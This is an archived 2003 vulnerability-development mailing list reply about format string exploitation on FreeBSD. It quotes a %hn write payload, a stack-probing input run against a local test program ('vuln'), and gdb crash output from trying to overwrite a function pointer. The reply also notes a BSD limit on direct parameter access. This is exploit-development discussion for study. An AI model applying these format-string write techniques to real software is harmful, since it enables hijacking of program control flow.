Vulnerability Development mailing list archives
Re: Formatstrings on *BSD
From: "The Itch" <itchie () netric org>
Date: Sat, 21 Jun 2003 20:23:48 +0200
You can't use direct popping or writing (%number$x) on *BSD (well only till 8 pops/writes maximum) I dont know why this behaviour is on BSD, but it is. On linux you can have a a direct pop/write as far as you wont. (in your example you used %9$x) -- - The Itch -- http://www.netric.org ----- Original Message ----- From: "Ingram" <Vail () gmx net> To: <vuln-dev () securityfocus com> Sent: Friday, June 20, 2003 10:07 AM Subject: Re: Formatstrings on *BSD
[%.-16457x%8$hn%.15261x%9$hn] (35)^---- first question is your input still at %8$x and %9$x on the bsd box?yep, see here:unameFreeBSD./vuln AAAABBBB%x%x%x%x%x%x%x%x%x0 0xbfbffccc 1 0xbfbffcd3 helloWorld() = 0x8048770 accessForbidden() = 0x80487a0 before : ptrf() = 0x8048770 (0xbfbffad8) buffer = [AAAABBBB2805f00022806dfe4105b6cc2805f100bfbffb1480487704141414142424242]
(71)
after : ptrf() = 0x8048770 (0xbfbffad8) Welcome in "helloWorld"... Segmentation fault (core dumped)^---- second ... what does the bt look like in gdb...here we go, the fmt seems to corrupt eaxgdb -core vuln.coreGNU gdb 4.18 . . . This GDB was configured as "i386-unknown-freebsd". Core was generated by `vuln'. Program terminated with signal 11, Segmentation fault. #0 0x40517d31 in ?? () (gdb) bt #0 0x40517d31 in ?? () #1 0x8048805 in ?? () #2 0x8048767 in ?? () #3 0x8048561 in ?? () (gdb) i reg eax 0x40517d31 1079082289 ecx 0x8049a70 134519408 edx 0x280e9968 672045416 ebx 0x280e8424 672039972 esp 0xbfbffad4 0xbfbffad4 ebp 0xbfbffae0 0xbfbffae0 esi 0x1 1 edi 0x280e9960 672045408 eip 0x40517d31 0x40517d31 eflags 0x10216 66070 cs 0x1f 31 ss 0x2f 47 ds 0x2f 47 es 0x2f 47 fs 0x2f 47 gs 0x2f 47 (gdb) x/1x $eax 0x40517d31: Cannot access memory at address 0x40517d31. kind regards Ingram -- +++ GMX - Mail, Messaging & more http://www.gmx.net +++ Bitte lächeln! Fotogalerie online mit GMX ohne eigene Homepage!
Current thread:
- Formatstrings on *BSD Vail (Jun 18)
- Re: Formatstrings on *BSD KF (Jun 18)
- <Possible follow-ups>
- Re: Formatstrings on *BSD Ingram (Jun 21)
- Re: Formatstrings on *BSD The Itch (Jun 21)